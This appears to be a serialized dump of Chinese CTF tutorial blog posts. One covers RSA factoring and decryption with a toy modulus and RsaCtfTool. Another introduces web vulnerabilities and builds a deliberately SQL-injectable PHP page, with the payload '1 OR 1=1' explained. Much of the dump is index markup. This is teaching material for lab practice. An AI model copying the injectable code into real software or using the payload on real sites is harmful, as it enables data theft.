分解",[967,11579,11580],{},[19,11581,11582],{},"factorint(3233)",[949,11584,11585,11588,11591],{},[967,11586,11587],{},"RsaCtfTool",[967,11589,11590],{},"自动尝试多种攻击、从公钥文件读取",[967,11592,11593],{},[19,11594,11595],{},"./RsaCtfTool.py -n N -e E --uncipher C --attack all",[15,11597,11598,11599,11604],{},"FactorDB（",[3591,11600,11603],{"href":11601,"rel":11602},"https://factordb.com%EF%BC%89%E7%94%A8%E4%BA%8E%E6%9F%A5",[3595],"https://factordb.com）用于查"," n 的已知分解。",[10,11606,10704],{"id":10703},[15,11608,1039],{},[28,11610,11613],{"className":11611,"code":11612,"language":97,"meta":33},[95],"n = 1000000016000000063\ne = 65537\nc = 856868007642616233\n",[19,11614,11612],{"__ignoreMap":33},[15,11616,11617],{},"说明：真实题目的 n 有数百位，这里为了能在本地秒级分解，使用 19 位 n；分解方法完全一致。",[85,11619,11621],{"id":11620},"第一步分解","第一步：分解",[15,11623,11624,11626],{},[107,11625,336],{},"：n 只有 19 位，sympy 的 factorint 用试除/快速算法秒级分解；若 n 更大，改用 yafu 或查 FactorDB。",[28,11628,11630],{"className":113,"code":11629,"language":115,"meta":33,"style":33},"from sympy import factorint\nprint(factorint(1000000016000000063))\n",[19,11631,11632,11636],{"__ignoreMap":33},[37,11633,11634],{"class":39,"line":40},[37,11635,11051],{},[37,11637,11638],{"class":39,"line":60},[37,11639,11640],{},"print(factorint(1000000016000000063))\n",[15,11642,456],{},[28,11644,11647],{"className":11645,"code":11646,"language":97,"meta":33},[95],"{1000000007: 1, 1000000009: 1}\n",[19,11648,11646],{"__ignoreMap":33},[85,11650,11652],{"id":11651},"第二步解密","第二步：解密",[15,11654,11655,11657,11658,11661],{},[107,11656,336],{},"：与 5.2 完全相同的公式，只是参数换成实际值；输出 ",[19,11659,11660],{},"b'flag'"," 说明解密成功。",[28,11663,11665],{"className":113,"code":11664,"language":115,"meta":33,"style":33},"from Crypto.Util.number import long_to_bytes\n\nn = 1000000016000000063\ne = 65537\nc = 856868007642616233\np, q = 1000000007, 1000000009\n\nphi = (p - 1) * (q - 1)\nd = pow(e, -1, phi)\nprint(long_to_bytes(pow(c, d, n)))\n",[19,11666,11667,11671,11675,11680,11685,11690,11695,11699,11703,11707],{"__ignoreMap":33},[37,11668,11669],{"class":39,"line":40},[37,11670,11093],{},[37,11672,11673],{"class":39,"line":60},[37,11674,133],{"emptyLinePlaceholder":132},[37,11676,11677],{"class":39,"line":71},[37,11678,11679],{},"n = 1000000016000000063\n",[37,11681,11682],{"class":39,"line":136},[37,11683,11684],{},"e = 65537\n",[37,11686,11687],{"class":39,"line":142},[37,11688,11689],{},"c = 856868007642616233\n",[37,11691,11692],{"class":39,"line":148},[37,11693,11694],{},"p, q = 1000000007, 1000000009\n",[37,11696,11697],{"class":39,"line":154},[37,11698,133],{"emptyLinePlaceholder":132},[37,11700,11701],{"class":39,"line":159},[37,11702,10944],{},[37,11704,11705],{"class":39,"line":165},[37,11706,10954],{},[37,11708,11709],{"class":39,"line":171},[37,11710,11711],{},"print(long_to_bytes(pow(c, d, n)))\n",[15,11713,456],{},[28,11715,11718],{"className":11716,"code":11717,"language":97,"meta":33},[95],"b'flag'\n",[19,11719,11717],{"__ignoreMap":33},[85,11721,11723],{"id":11722},"第三步工具验证","第三步：工具验证",[28,11725,11727],{"className":30,"code":11726,"language":32,"meta":33,"style":33},"./RsaCtfTool.py -n 1000000016000000063 -e 65537 --uncipher 856868007642616233 --attack all\n",[19,11728,11729],{"__ignoreMap":33},[37,11730,11731,11734,11736,11739,11741,11744,11747,11750,11753],{"class":39,"line":40},[37,11732,11733],{"class":43},"./RsaCtfTool.py",[37,11735,1379],{"class":479},[37,11737,11738],{"class":479}," 1000000016000000063",[37,11740,4666],{"class":479},[37,11742,11743],{"class":479}," 65537",[37,11745,11746],{"class":479}," --uncipher",[37,11748,11749],{"class":479}," 856868007642616233",[37,11751,11752],{"class":479}," --attack",[37,11754,11755],{"class":47}," all\n",[10,11757,3317],{"id":3316},[15,11759,11760,11761,11764],{},"RSA 解题顺序：",[107,11762,11763],{},"先查 n 能否分解（FactorDB/sympy）→ 能分解就按公式解密 → 不能分解就检查共模、低指数、Wiener、Fermat 等结构性错误","。每个攻击对应一种\"实现错误\"，识别特征后套模板即可。",[1144,11766,4332],{},{"title":33,"searchDepth":60,"depth":60,"links":11768},[11769,11770,11771,11772,11773,11774,11775,11776,11777,11778],{"id":10816,"depth":71,"text":10817},{"id":25,"depth":71,"text":26},{"id":10880,"depth":71,"text":10881},{"id":10908,"depth":71,"text":10909},{"id":11026,"depth":71,"text":11027},{"id":11229,"depth":71,"text":11230},{"id":11464,"depth":71,"text":11465},{"id":3123,"depth":71,"text":3124},{"id":10703,"depth":71,"text":10704},{"id":3316,"depth":71,"text":3317},"RSA的DH 与公钥密码学背景、数论公式与小数字手算、小 n 分解解密、共模攻击的数学推导与代码。",{"date":1160,"image":8667,"alt":11781,"tags":11782,"published":132},"RSA 深入实战",[1164,4348,11783,1167],"rsa","/blogs/ctf-crypto-rsa-deep-dive",{"title":10811,"description":11779},"blogs/19. ctf-crypto-rsa-deep-dive","cUGS-VePAPrg-FWNvg-OJ725RRZNhFybQstAdcvf9qo",{"id":4,"title":5,"body":11789,"description":1157,"extension":1158,"meta":12635,"navigation":132,"ogImage":1161,"path":1168,"seo":12637,"stem":1170,"__hash__":1171},{"type":7,"value":11790,"toc":12625},[11791,11793,11797,11799,11831,11833,11835,11837,11842,11844,11848,11984,11992,11994,11998,12002,12098,12100,12105,12107,12119,12123,12125,12129,12133,12135,12137,12142,12146,12148,12152,12184,12186,12191,12193,12198,12200,12204,12252,12254,12259,12261,12293,12295,12300,12302,12304,12310,12358,12360,12365,12369,12371,12375,12379,12381,12461,12465,12470,12476,12478,12536,12538,12542,12546,12550,12552,12588,12590,12595,12599,12611,12613,12615,12623],[10,11792,13],{"id":12},[15,11794,17,11795,22],{},[19,11796,21],{},[10,11798,26],{"id":25},[28,11800,11801],{"className":30,"code":31,"language":32,"meta":33,"style":33},[19,11802,11803,11815,11823],{"__ignoreMap":33},[37,11804,11805,11807,11809,11811,11813],{"class":39,"line":40},[37,11806,44],{"class":43},[37,11808,48],{"class":47},[37,11810,51],{"class":47},[37,11812,54],{"class":47},[37,11814,57],{"class":47},[37,11816,11817,11819,11821],{"class":39,"line":60},[37,11818,63],{"class":43},[37,11820,48],{"class":47},[37,11822,68],{"class":47},[37,11824,11825,11827,11829],{"class":39,"line":71},[37,11826,74],{"class":43},[37,11828,48],{"class":47},[37,11830,79],{"class":47},[10,11832,83],{"id":82},[85,11834,88],{"id":87},[15,11836,91],{},[28,11838,11840],{"className":11839,"code":96,"language":97,"meta":33},[95],[19,11841,96],{"__ignoreMap":33},[85,11843,103],{"id":102},[15,11845,11846,110],{},[107,11847,109],{},[28,11849,11850],{"className":113,"code":114,"language":115,"meta":33,"style":33},[19,11851,11852,11856,11860,11864,11868,11872,11876,11880,11884,11888,11892,11896,11900,11904,11908,11912,11916,11920,11924,11928,11932,11936,11940,11944,11948,11952,11956,11960,11964,11968,11972,11976,11980],{"__ignoreMap":33},[37,11853,11854],{"class":39,"line":40},[37,11855,122],{},[37,11857,11858],{"class":39,"line":60},[37,11859,127],{},[37,11861,11862],{"class":39,"line":71},[37,11863,133],{"emptyLinePlaceholder":132},[37,11865,11866],{"class":39,"line":136},[37,11867,139],{},[37,11869,11870],{"class":39,"line":142},[37,11871,145],{},[37,11873,11874],{"class":39,"line":148},[37,11875,151],{},[37,11877,11878],{"class":39,"line":154},[37,11879,133],{"emptyLinePlaceholder":132},[37,11881,11882],{"class":39,"line":159},[37,11883,162],{},[37,11885,11886],{"class":39,"line":165},[37,11887,168],{},[37,11889,11890],{"class":39,"line":171},[37,11891,174],{},[37,11893,11894],{"class":39,"line":177},[37,11895,180],{},[37,11897,11898],{"class":39,"line":183},[37,11899,186],{},[37,11901,11902],{"class":39,"line":189},[37,11903,192],{},[37,11905,11906],{"class":39,"line":195},[37,11907,133],{"emptyLinePlaceholder":132},[37,11909,11910],{"class":39,"line":200},[37,11911,203],{},[37,11913,11914],{"class":39,"line":206},[37,11915,209],{},[37,11917,11918],{"class":39,"line":212},[37,11919,215],{},[37,11921,11922],{"class":39,"line":218},[37,11923,221],{},[37,11925,11926],{"class":39,"line":224},[37,11927,227],{},[37,11929,11930],{"class":39,"line":230},[37,11931,233],{},[37,11933,11934],{"class":39,"line":236},[37,11935,221],{},[37,11937,11938],{"class":39,"line":241},[37,11939,244],{},[37,11941,11942],{"class":39,"line":247},[37,11943,250],{},[37,11945,11946],{"class":39,"line":253},[37,11947,221],{},[37,11949,11950],{"class":39,"line":258},[37,11951,261],{},[37,11953,11954],{"class":39,"line":264},[37,11955,267],{},[37,11957,11958],{"class":39,"line":270},[37,11959,273],{},[37,11961,11962],{"class":39,"line":276},[37,11963,133],{"emptyLinePlaceholder":132},[37,11965,11966],{"class":39,"line":281},[37,11967,284],{},[37,11969,11970],{"class":39,"line":287},[37,11971,290],{},[37,11973,11974],{"class":39,"line":293},[37,11975,296],{},[37,11977,11978],{"class":39,"line":299},[37,11979,302],{},[37,11981,11982],{"class":39,"line":305},[37,11983,308],{},[15,11985,11986,314,11988,318,11990,322],{},[19,11987,313],{},[19,11989,317],{},[19,11991,321],{},[85,11993,326],{"id":325},[15,11995,11996,331],{},[107,11997,109],{},[15,11999,12000,337],{},[107,12001,336],{},[28,12003,12004],{"className":113,"code":340,"language":115,"meta":33,"style":33},[19,12005,12006,12010,12014,12018,12022,12026,12030,12034,12038,12042,12046,12050,12054,12058,12062,12066,12070,12074,12078,12082,12086,12090,12094],{"__ignoreMap":33},[37,12007,12008],{"class":39,"line":40},[37,12009,122],{},[37,12011,12012],{"class":39,"line":60},[37,12013,133],{"emptyLinePlaceholder":132},[37,12015,12016],{"class":39,"line":71},[37,12017,355],{},[37,12019,12020],{"class":39,"line":136},[37,12021,360],{},[37,12023,12024],{"class":39,"line":142},[37,12025,365],{},[37,12027,12028],{"class":39,"line":148},[37,12029,370],{},[37,12031,12032],{"class":39,"line":154},[37,12033,375],{},[37,12035,12036],{"class":39,"line":159},[37,12037,380],{},[37,12039,12040],{"class":39,"line":165},[37,12041,133],{"emptyLinePlaceholder":132},[37,12043,12044],{"class":39,"line":171},[37,12045,389],{},[37,12047,12048],{"class":39,"line":177},[37,12049,394],{},[37,12051,12052],{"class":39,"line":183},[37,12053,399],{},[37,12055,12056],{"class":39,"line":189},[37,12057,404],{},[37,12059,12060],{"class":39,"line":195},[37,12061,409],{},[37,12063,12064],{"class":39,"line":200},[37,12065,414],{},[37,12067,12068],{"class":39,"line":206},[37,12069,419],{},[37,12071,12072],{"class":39,"line":212},[37,12073,424],{},[37,12075,12076],{"class":39,"line":218},[37,12077,429],{},[37,12079,12080],{"class":39,"line":224},[37,12081,434],{},[37,12083,12084],{"class":39,"line":230},[37,12085,439],{},[37,12087,12088],{"class":39,"line":236},[37,12089,133],{"emptyLinePlaceholder":132},[37,12091,12092],{"class":39,"line":241},[37,12093,448],{},[37,12095,12096],{"class":39,"line":247},[37,12097,453],{},[15,12099,456],{},[28,12101,12103],{"className":12102,"code":460,"language":97,"meta":33},[95],[19,12104,460],{"__ignoreMap":33},[85,12106,466],{"id":465},[28,12108,12109],{"className":30,"code":469,"language":32,"meta":33,"style":33},[19,12110,12111],{"__ignoreMap":33},[37,12112,12113,12115,12117],{"class":39,"line":40},[37,12114,476],{"class":43},[37,12116,480],{"class":479},[37,12118,483],{"class":47},[15,12120,486,12121,490],{},[19,12122,489],{},[10,12124,494],{"id":493},[15,12126,12127,499],{},[107,12128,109],{},[15,12130,12131,504],{},[107,12132,336],{},[85,12134,508],{"id":507},[15,12136,511],{},[28,12138,12140],{"className":12139,"code":515,"language":97,"meta":33},[95],[19,12141,515],{"__ignoreMap":33},[15,12143,520,12144,524],{},[19,12145,523],{},[85,12147,528],{"id":527},[15,12149,12150,533],{},[107,12151,109],{},[28,12153,12154],{"className":113,"code":536,"language":115,"meta":33,"style":33},[19,12155,12156,12160,12164,12168,12172,12176,12180],{"__ignoreMap":33},[37,12157,12158],{"class":39,"line":40},[37,12159,543],{},[37,12161,12162],{"class":39,"line":60},[37,12163,133],{"emptyLinePlaceholder":132},[37,12165,12166],{"class":39,"line":71},[37,12167,552],{},[37,12169,12170],{"class":39,"line":136},[37,12171,557],{},[37,12173,12174],{"class":39,"line":142},[37,12175,133],{"emptyLinePlaceholder":132},[37,12177,12178],{"class":39,"line":148},[37,12179,566],{},[37,12181,12182],{"class":39,"line":154},[37,12183,571],{},[15,12185,456],{},[28,12187,12189],{"className":12188,"code":577,"language":97,"meta":33},[95],[19,12190,577],{"__ignoreMap":33},[15,12192,582],{},[28,12194,12196],{"className":12195,"code":586,"language":97,"meta":33},[95],[19,12197,586],{"__ignoreMap":33},[85,12199,592],{"id":591},[15,12201,12202,597],{},[107,12203,336],{},[28,12205,12206],{"className":113,"code":600,"language":115,"meta":33,"style":33},[19,12207,12208,12212,12216,12220,12224,12228,12232,12236,12240,12244,12248],{"__ignoreMap":33},[37,12209,12210],{"class":39,"line":40},[37,12211,607],{},[37,12213,12214],{"class":39,"line":60},[37,12215,133],{"emptyLinePlaceholder":132},[37,12217,12218],{"class":39,"line":71},[37,12219,616],{},[37,12221,12222],{"class":39,"line":136},[37,12223,621],{},[37,12225,12226],{"class":39,"line":142},[37,12227,626],{},[37,12229,12230],{"class":39,"line":148},[37,12231,133],{"emptyLinePlaceholder":132},[37,12233,12234],{"class":39,"line":154},[37,12235,635],{},[37,12237,12238],{"class":39,"line":159},[37,12239,640],{},[37,12241,12242],{"class":39,"line":165},[37,12243,645],{},[37,12245,12246],{"class":39,"line":171},[37,12247,133],{"emptyLinePlaceholder":132},[37,12249,12250],{"class":39,"line":177},[37,12251,654],{},[15,12253,657],{},[28,12255,12257],{"className":12256,"code":661,"language":97,"meta":33},[95],[19,12258,661],{"__ignoreMap":33},[15,12260,666],{},[28,12262,12263],{"className":113,"code":669,"language":115,"meta":33,"style":33},[19,12264,12265,12269,12273,12277,12281,12285,12289],{"__ignoreMap":33},[37,12266,12267],{"class":39,"line":40},[37,12268,543],{},[37,12270,12271],{"class":39,"line":60},[37,12272,133],{"emptyLinePlaceholder":132},[37,12274,12275],{"class":39,"line":71},[37,12276,684],{},[37,12278,12279],{"class":39,"line":136},[37,12280,689],{},[37,12282,12283],{"class":39,"line":142},[37,12284,694],{},[37,12286,12287],{"class":39,"line":148},[37,12288,699],{},[37,12290,12291],{"class":39,"line":154},[37,12292,704],{},[15,12294,456],{},[28,12296,12298],{"className":12297,"code":710,"language":97,"meta":33},[95],[19,12299,710],{"__ignoreMap":33},[15,12301,715],{},[85,12303,719],{"id":718},[15,12305,12306,724,12308,728],{},[107,12307,336],{},[19,12309,727],{},[28,12311,12312],{"className":113,"code":731,"language":115,"meta":33,"style":33},[19,12313,12314,12318,12322,12326,12330,12334,12338,12342,12346,12350,12354],{"__ignoreMap":33},[37,12315,12316],{"class":39,"line":40},[37,12317,738],{},[37,12319,12320],{"class":39,"line":60},[37,12321,133],{"emptyLinePlaceholder":132},[37,12323,12324],{"class":39,"line":71},[37,12325,621],{},[37,12327,12328],{"class":39,"line":136},[37,12329,751],{},[37,12331,12332],{"class":39,"line":142},[37,12333,640],{},[37,12335,12336],{"class":39,"line":148},[37,12337,760],{},[37,12339,12340],{"class":39,"line":154},[37,12341,133],{"emptyLinePlaceholder":132},[37,12343,12344],{"class":39,"line":159},[37,12345,769],{},[37,12347,12348],{"class":39,"line":165},[37,12349,133],{"emptyLinePlaceholder":132},[37,12351,12352],{"class":39,"line":171},[37,12353,778],{},[37,12355,12356],{"class":39,"line":177},[37,12357,783],{},[15,12359,456],{},[28,12361,12363],{"className":12362,"code":789,"language":97,"meta":33},[95],[19,12364,789],{"__ignoreMap":33},[15,12366,794,12367,798],{},[19,12368,797],{},[10,12370,802],{"id":801},[15,12372,12373,807],{},[107,12374,109],{},[15,12376,12377,812],{},[107,12378,336],{},[15,12380,815],{},[28,12382,12383],{"className":113,"code":818,"language":115,"meta":33,"style":33},[19,12384,12385,12389,12393,12397,12401,12405,12409,12413,12417,12421,12425,12429,12433,12437,12441,12445,12449,12453,12457],{"__ignoreMap":33},[37,12386,12387],{"class":39,"line":40},[37,12388,825],{},[37,12390,12391],{"class":39,"line":60},[37,12392,830],{},[37,12394,12395],{"class":39,"line":71},[37,12396,133],{"emptyLinePlaceholder":132},[37,12398,12399],{"class":39,"line":136},[37,12400,839],{},[37,12402,12403],{"class":39,"line":142},[37,12404,844],{},[37,12406,12407],{"class":39,"line":148},[37,12408,849],{},[37,12410,12411],{"class":39,"line":154},[37,12412,854],{},[37,12414,12415],{"class":39,"line":159},[37,12416,133],{"emptyLinePlaceholder":132},[37,12418,12419],{"class":39,"line":165},[37,12420,863],{},[37,12422,12423],{"class":39,"line":171},[37,12424,868],{},[37,12426,12427],{"class":39,"line":177},[37,12428,873],{},[37,12430,12431],{"class":39,"line":183},[37,12432,878],{},[37,12434,12435],{"class":39,"line":189},[37,12436,883],{},[37,12438,12439],{"class":39,"line":195},[37,12440,888],{},[37,12442,12443],{"class":39,"line":200},[37,12444,893],{},[37,12446,12447],{"class":39,"line":206},[37,12448,898],{},[37,12450,12451],{"class":39,"line":212},[37,12452,903],{},[37,12454,12455],{"class":39,"line":218},[37,12456,908],{},[37,12458,12459],{"class":39,"line":224},[37,12460,913],{},[15,12462,916,12463,920],{},[19,12464,919],{},[28,12466,12468],{"className":12467,"code":924,"language":97,"meta":33},[95],[19,12469,924],{"__ignoreMap":33},[15,12471,929,12472,933,12474,937],{},[19,12473,932],{},[19,12475,936],{},[10,12477,941],{"id":940},[943,12479,12480,12490],{},[946,12481,12482],{},[949,12483,12484,12486,12488],{},[952,12485,954],{},[952,12487,957],{},[952,12489,960],{},[962,12491,12492,12502,12514,12526],{},[949,12493,12494,12496,12498],{},[967,12495,969],{},[967,12497,972],{},[967,12499,12500],{},[19,12501,977],{},[949,12503,12504,12506,12508],{},[967,12505,982],{},[967,12507,985],{},[967,12509,12510,991,12512],{},[19,12511,990],{},[19,12513,994],{},[949,12515,12516,12518,12520],{},[967,12517,999],{},[967,12519,1002],{},[967,12521,12522,991,12524],{},[19,12523,1007],{},[19,12525,1010],{},[949,12527,12528,12530,12532],{},[967,12529,476],{},[967,12531,1017],{},[967,12533,12534],{},[19,12535,1022],{},[10,12537,1026],{"id":1025},[15,12539,12540,1031],{},[107,12541,109],{},[15,12543,12544,1036],{},[107,12545,336],{},[15,12547,1039,12548,490],{},[19,12549,1042],{},[15,12551,1045],{},[28,12553,12554],{"className":30,"code":1048,"language":32,"meta":33,"style":33},[19,12555,12556,12564,12580],{"__ignoreMap":33},[37,12557,12558,12560,12562],{"class":39,"line":40},[37,12559,969],{"class":43},[37,12561,1057],{"class":47},[37,12563,1061],{"class":1060},[37,12565,12566,12568,12570,12572,12574,12576,12578],{"class":39,"line":60},[37,12567,1066],{"class":43},[37,12569,1057],{"class":47},[37,12571,1072],{"class":1071},[37,12573,1075],{"class":43},[37,12575,1078],{"class":479},[37,12577,1081],{"class":47},[37,12579,1084],{"class":1060},[37,12581,12582,12584,12586],{"class":39,"line":71},[37,12583,999],{"class":43},[37,12585,1057],{"class":47},[37,12587,1093],{"class":1060},[15,12589,1096],{},[28,12591,12593],{"className":12592,"code":460,"language":97,"meta":33},[95],[19,12594,460],{"__ignoreMap":33},[15,12596,1104,12597,1108],{},[19,12598,1107],{},[28,12600,12601],{"className":113,"code":1111,"language":115,"meta":33,"style":33},[19,12602,12603,12607],{"__ignoreMap":33},[37,12604,12605],{"class":39,"line":40},[37,12606,1118],{},[37,12608,12609],{"class":39,"line":60},[37,12610,1123],{},[15,12612,1126],{},[10,12614,1130],{"id":1129},[15,12616,1133,12617,1136,12619,1139,12621,1142],{},[19,12618,969],{},[19,12620,1066],{},[19,12622,999],{},[1144,12624,1146],{},{"title":33,"searchDepth":60,"depth":60,"links":12626},[12627,12628,12629,12630,12631,12632,12633,12634],{"id":12,"depth":71,"text":13},{"id":25,"depth":71,"text":26},{"id":82,"depth":71,"text":83},{"id":493,"depth":71,"text":494},{"id":801,"depth":71,"text":802},{"id":940,"depth":71,"text":941},{"id":1025,"depth":71,"text":1026},{"id":1129,"depth":71,"text":1130},{"date":1160,"image":1161,"alt":1162,"tags":12636,"published":132},[1164,1165,1166,1167],{"title":5,"description":1157},{"id":12639,"title":12640,"body":12641,"description":14488,"extension":1158,"meta":14489,"navigation":132,"ogImage":14490,"path":14493,"seo":14494,"stem":14495,"__hash__":14496},"content/blogs/9. ctf-web-overview.md","CTF Web 入门：必学漏洞与基础工具",{"type":7,"value":12642,"toc":14476},[12643,12647,12650,12669,12675,12681,12683,12741,12751,12755,12758,12846,12849,12853,12857,12860,12863,12891,12896,13008,13011,13024,13028,13030,13044,13046,13051,13055,13063,13076,13081,13084,13114,13117,13122,13125,13128,13153,13158,13161,13186,13189,13197,13201,13206,13214,13217,13242,13245,13275,13280,13283,13308,13312,13315,13350,13354,13357,13387,13391,13394,13417,13421,13434,13444,13448,13453,13470,13474,13480,13489,13493,13509,13514,13518,13534,13536,13582,13591,13595,13598,13645,13652,13656,13659,13730,13737,13741,13746,13770,13774,13780,13813,13817,13848,13850,13856,13860,13891,13894,13898,13929,13932,13936,13961,13965,13968,13971,13985,13989,13994,14026,14035,14041,14072,14075,14079,14082,14136,14139,14143,14146,14149,14167,14169,14174,14177,14195,14200,14203,14229,14236,14240,14247,14267,14271,14276,14306,14311,14315,14324,14344,14346,14374,14377,14386,14395,14409,14413,14418,14461,14468,14470,14473],[10,12644,12646],{"id":12645},"一开始之前http-请求到底是什么","一、开始之前：HTTP 请求到底是什么",[15,12648,12649],{},"Web 题目就是一个网站，解题就是向它发请求。先看一个请求长什么样。用 curl 访问一个带参数的 URL：",[28,12651,12653],{"className":30,"code":12652,"language":32,"meta":33,"style":33},"curl -v \"http://127.0.0.1:8000/index.php?id=1\"\n",[19,12654,12655],{"__ignoreMap":33},[37,12656,12657,12659,12662,12664,12667],{"class":39,"line":40},[37,12658,5505],{"class":43},[37,12660,12661],{"class":479}," -v",[37,12663,5508],{"class":1545},[37,12665,12666],{"class":47},"http://127.0.0.1:8000/index.php?id=1",[37,12668,5514],{"class":1545},[15,12670,12671,12674],{},[19,12672,12673],{},"-v"," 会显示完整过程，输出示例：",[28,12676,12679],{"className":12677,"code":12678,"language":97,"meta":33},[95],"> GET /index.php?id=1 HTTP/1.1\n> Host: 127.0.0.1:8000\n> User-Agent: curl/8.0.1\n>\n\u003C HTTP/1.1 200 OK\n\u003C Content-Type: text/html\n\u003C\n\u003Ch1>文章标题\u003C/h1>\n",[19,12680,12678],{"__ignoreMap":33},[15,12682,582],{},[943,12684,12685,12694],{},[946,12686,12687],{},[949,12688,12689,12692],{},[952,12690,12691],{},"部分",[952,12693,1627],{},[962,12695,12696,12713,12723,12733],{},[949,12697,12698,12703],{},[967,12699,12700],{},[19,12701,12702],{},"GET /index.php?id=1",[967,12704,12705,12706,12709,12710],{},"方法 GET，路径 ",[19,12707,12708],{},"/index.php","，参数 ",[19,12711,12712],{},"id=1",[949,12714,12715,12720],{},[967,12716,12717],{},[19,12718,12719],{},"Host",[967,12721,12722],{},"目标主机",[949,12724,12725,12730],{},[967,12726,12727],{},[19,12728,12729],{},"HTTP/1.1 200 OK",[967,12731,12732],{},"协议版本与状态码，200 表示成功",[949,12734,12735,12738],{},[967,12736,12737],{},"正文",[967,12739,12740],{},"服务器返回的 HTML",[15,12742,12743,12744,12750],{},"Web 漏洞几乎都源于一件事：",[107,12745,12746,12747,12749],{},"参数 ",[19,12748,5480],{}," 是用户可控的，服务器却直接把它拼进了 SQL、命令、HTML 或模板","。下面三个漏洞都是这个原因。",[10,12752,12754],{"id":12753},"二环境准备先搭一个能打的靶场","二、环境准备：先搭一个能打的靶场",[15,12756,12757],{},"推荐 sqli-labs（专练 SQL 注入）和 DVWA（综合靶场）。在 Linux（Kali/Ubuntu）上：",[28,12759,12761],{"className":30,"code":12760,"language":32,"meta":33,"style":33},"# 方式一：源码部署（需要 PHP + MySQL）\napt install php php-mysql mariadb-server\ngit clone https://github.com/Audi-1/sqli-labs.git\ncd sqli-labs\nphp -S 127.0.0.1:8000        # 启动后浏览器访问，点 Setup/reset Database\n\n# 方式二：Docker 部署（最简单）\ndocker pull tavenli/sqli-labs\ndocker run -d -p 8000:80 tavenli/sqli-labs\n",[19,12762,12763,12768,12783,12791,12797,12809,12813,12818,12829],{"__ignoreMap":33},[37,12764,12765],{"class":39,"line":40},[37,12766,12767],{"class":1060},"# 方式一：源码部署（需要 PHP + MySQL）\n",[37,12769,12770,12772,12774,12777,12780],{"class":39,"line":60},[37,12771,44],{"class":43},[37,12773,48],{"class":47},[37,12775,12776],{"class":47}," php",[37,12778,12779],{"class":47}," php-mysql",[37,12781,12782],{"class":47}," mariadb-server\n",[37,12784,12785,12787,12789],{"class":39,"line":71},[37,12786,5332],{"class":43},[37,12788,5335],{"class":47},[37,12790,5338],{"class":47},[37,12792,12793,12795],{"class":39,"line":136},[37,12794,1892],{"class":1891},[37,12796,5345],{"class":47},[37,12798,12799,12801,12803,12806],{"class":39,"line":142},[37,12800,5274],{"class":43},[37,12802,5352],{"class":479},[37,12804,12805],{"class":47}," 127.0.0.1:8000",[37,12807,12808],{"class":1060},"        # 启动后浏览器访问，点 Setup/reset Database\n",[37,12810,12811],{"class":39,"line":148},[37,12812,133],{"emptyLinePlaceholder":132},[37,12814,12815],{"class":39,"line":154},[37,12816,12817],{"class":1060},"# 方式二：Docker 部署（最简单）\n",[37,12819,12820,12823,12826],{"class":39,"line":159},[37,12821,12822],{"class":43},"docker",[37,12824,12825],{"class":47}," pull",[37,12827,12828],{"class":47}," tavenli/sqli-labs\n",[37,12830,12831,12833,12836,12838,12841,12844],{"class":39,"line":165},[37,12832,12822],{"class":43},[37,12834,12835],{"class":47}," run",[37,12837,1503],{"class":479},[37,12839,12840],{"class":479}," -p",[37,12842,12843],{"class":47}," 8000:80",[37,12845,12828],{"class":47},[15,12847,12848],{},"本文的示例都基于\"自建的最小页面\"，因为自建页面能完整看到源码，理解更透彻。下一节开始逐步搭建。",[10,12850,12852],{"id":12851},"三核心漏洞-1sql-注入完整复现","三、核心漏洞 1：SQL 注入（完整复现）",[85,12854,12856],{"id":12855},"_31-平台与代码","3.1 平台与代码",[15,12858,12859],{},"平台：Linux + PHP + MySQL。",[15,12861,12862],{},"第一步，建数据库。在 MySQL 里执行：",[28,12864,12865],{"className":5299,"code":5371,"language":5301,"meta":33,"style":33},[19,12866,12867,12871,12875,12879,12883,12887],{"__ignoreMap":33},[37,12868,12869],{"class":39,"line":40},[37,12870,5378],{},[37,12872,12873],{"class":39,"line":60},[37,12874,5383],{},[37,12876,12877],{"class":39,"line":71},[37,12878,5388],{},[37,12880,12881],{"class":39,"line":136},[37,12882,5393],{},[37,12884,12885],{"class":39,"line":142},[37,12886,5398],{},[37,12888,12889],{"class":39,"line":148},[37,12890,5403],{},[15,12892,12893,12894,1682],{},"第二步，写漏洞页面 ",[19,12895,5408],{},[28,12897,12899],{"className":5272,"code":12898,"language":5274,"meta":33,"style":33},"\u003C?php\n$conn = new mysqli(\"localhost\", \"root\", \"password\", \"ctf\");\n// 上面的 mysqli 构造函数：参数依次是数据库主机、用户名、密码、库名；\n// 返回值是数据库连接对象，后面所有查询都通过它执行。\n\n$id = $_GET['id'];\n// 从 URL 查询参数中取出 id（例如访问 ?id=1 时这里得到字符串 \"1\"）。\n// 注意：$_GET 拿到的永远是字符串，且完全由用户控制。\n\n$sql = \"SELECT id, title, content FROM articles WHERE id = \" . $id;\n// 关键漏洞行：用字符串拼接把 $id 直接塞进 SQL 语句。\n// 如果 $id 是 \"1 OR 1=1\"，这条语句就变成\n// SELECT ... WHERE id = 1 OR 1=1，条件恒真，会返回全部记录。\n\n$result = $conn->query($sql);\n// 把拼好的 SQL 字符串发给 MySQL 执行；$result 是结果集对象。\n\nwhile ($row = $result->fetch_assoc()) {\n    // fetch_assoc() 每次取出一行，返回关联数组，例如 ['id'=>1, 'title'=>'hello', ...]\n    // 取不到更多行时返回 null，while 结束。\n    echo $row['id'] . \" \" . $row['title'] . \" \" . $row['content'] . \"\u003Cbr>\";\n    // 把每行的三个字段拼起来输出到页面，攻击者靠这些输出判断查询结果。\n}\n?>\n",[19,12900,12901,12905,12909,12914,12919,12923,12927,12932,12937,12941,12945,12950,12955,12960,12964,12968,12973,12977,12981,12986,12991,12995,13000,13004],{"__ignoreMap":33},[37,12902,12903],{"class":39,"line":40},[37,12904,5418],{},[37,12906,12907],{"class":39,"line":60},[37,12908,5423],{},[37,12910,12911],{"class":39,"line":71},[37,12912,12913],{},"// 上面的 mysqli 构造函数：参数依次是数据库主机、用户名、密码、库名；\n",[37,12915,12916],{"class":39,"line":136},[37,12917,12918],{},"// 返回值是数据库连接对象，后面所有查询都通过它执行。\n",[37,12920,12921],{"class":39,"line":142},[37,12922,133],{"emptyLinePlaceholder":132},[37,12924,12925],{"class":39,"line":148},[37,12926,5281],{},[37,12928,12929],{"class":39,"line":154},[37,12930,12931],{},"// 从 URL 查询参数中取出 id（例如访问 ?id=1 时这里得到字符串 \"1\"）。\n",[37,12933,12934],{"class":39,"line":159},[37,12935,12936],{},"// 注意：$_GET 拿到的永远是字符串，且完全由用户控制。\n",[37,12938,12939],{"class":39,"line":165},[37,12940,133],{"emptyLinePlaceholder":132},[37,12942,12943],{"class":39,"line":171},[37,12944,5432],{},[37,12946,12947],{"class":39,"line":177},[37,12948,12949],{},"// 关键漏洞行：用字符串拼接把 $id 直接塞进 